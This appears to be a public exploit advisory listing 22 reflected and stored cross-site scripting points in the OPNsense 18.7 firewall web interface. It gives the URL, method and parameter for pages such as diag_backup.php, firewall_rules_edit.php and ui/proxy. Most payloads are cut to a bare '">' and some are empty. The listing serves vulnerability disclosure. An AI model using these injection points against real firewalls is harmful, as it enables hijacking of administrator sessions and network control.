################################################################################################################################## # Exploit Title: OPNsense 18.7 | Cross-Site Scripting # Date: 28.01.2019 # Exploit Author: Ozer Goker # Vendor Homepage: https://opnsense.org # Software Link: http://mirror.ams1.nl.leaseweb.net/opnsense/releases/mirror/OPNsense-18.7-OpenSSL-dvd-amd64.iso.bz2 # Version: 18.7 ################################################################################################################################## Introduction OPNsense is an open source, easy-to-use and easy-to-build FreeBSD based firewall and routing platform. OPNsense includes most of the features available in expensive commercial firewalls, and more in many cases. It brings the rich feature set of commercial offerings with the benefits of open and verifiable sources. ################################################################################# XSS details: Reflected & Stored ################################################################################# XSS1 | Reflected URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER GDrive_GDriveEmail PAYLOAD "> ################################################################################# XSS2 | Reflected URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER GDrive_GDriveFolderID PAYLOAD "> ################################################################################# XSS3 | Reflected URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER GDrive_GDriveBackupCount PAYLOAD "> ################################################################################# XSS4 | Stored URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_url PAYLOAD "> ################################################################################# XSS5 | Stored URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_password PAYLOAD "> ################################################################################# XSS6 | Stored URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_password PAYLOAD "> ################################################################################# XSS7 | Stored URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_password_encryption PAYLOAD "> ################################################################################# XSS8 | Reflected URL https://192.168.2.200/diag_backup.php METHOD Post PARAMETER Nextcloud_backupdir PAYLOAD "> ################################################################################# XSS9 | Stored URL https://192.168.2.200/system_advanced_sysctl.php?act=edit&id=0 METHOD Post PARAMETER tunable PAYLOAD "> ################################################################################# XSS10 | Stored URL https://192.168.2.200/system_advanced_sysctl.php?act=edit&id=0 METHOD Post PARAMETER value PAYLOAD "> ################################################################################# XSS11 | Reflected URL https://192.168.2.200/interfaces_vlan_edit.php METHOD Post PARAMETER tag PAYLOAD "> ################################################################################# XSS12 | Reflected URL https://192.168.2.200/interfaces_vlan_edit.php METHOD Post PARAMETER descr PAYLOAD "> ################################################################################# XSS13 | Reflected URL https://192.168.2.200/interfaces_vlan_edit.php METHOD Post PARAMETER vlanif PAYLOAD "> ################################################################################# XSS14 | Reflected URL https://192.168.2.200/diag_ping.php METHOD Post PARAMETER host PAYLOAD "> ################################################################################# XSS15 | Reflected URL https://192.168.2.200/diag_traceroute.php METHOD Post PARAMETER host PAYLOAD "> ################################################################################# XSS16 | Stored URL https://192.168.2.200/firewall_rules_edit.php?if=FloatingRules METHOD Post PARAMETER category PAYLOAD "> ################################################################################# XSS17 | Stored URL https://192.168.2.200/firewall_rules_edit.php?if=lan METHOD Post PARAMETER category PAYLOAD "> ################################################################################# XSS18 | Stored URL https://192.168.2.200/firewall_rules_edit.php?if=wan METHOD Post PARAMETER category PAYLOAD "> ################################################################################# XSS19 | Reflected URL https://192.168.2.200/vpn_ipsec_settings.php METHOD Post PARAMETER passthrough_networks%5B%5D PAYLOAD ################################################################################# XSS20 | Reflected URL https://192.168.2.200/ui/monit METHOD Post PARAMETER mailserver PAYLOAD ################################################################################# XSS21 | Reflected URL https://192.168.2.200/ui/proxy METHOD Post PARAMETER ignoreLogACL PAYLOAD ################################################################################# XSS22 | Reflected URL https://192.168.2.200/ui/proxy METHOD Post PARAMETER alternateDNSservers PAYLOAD #################################################################################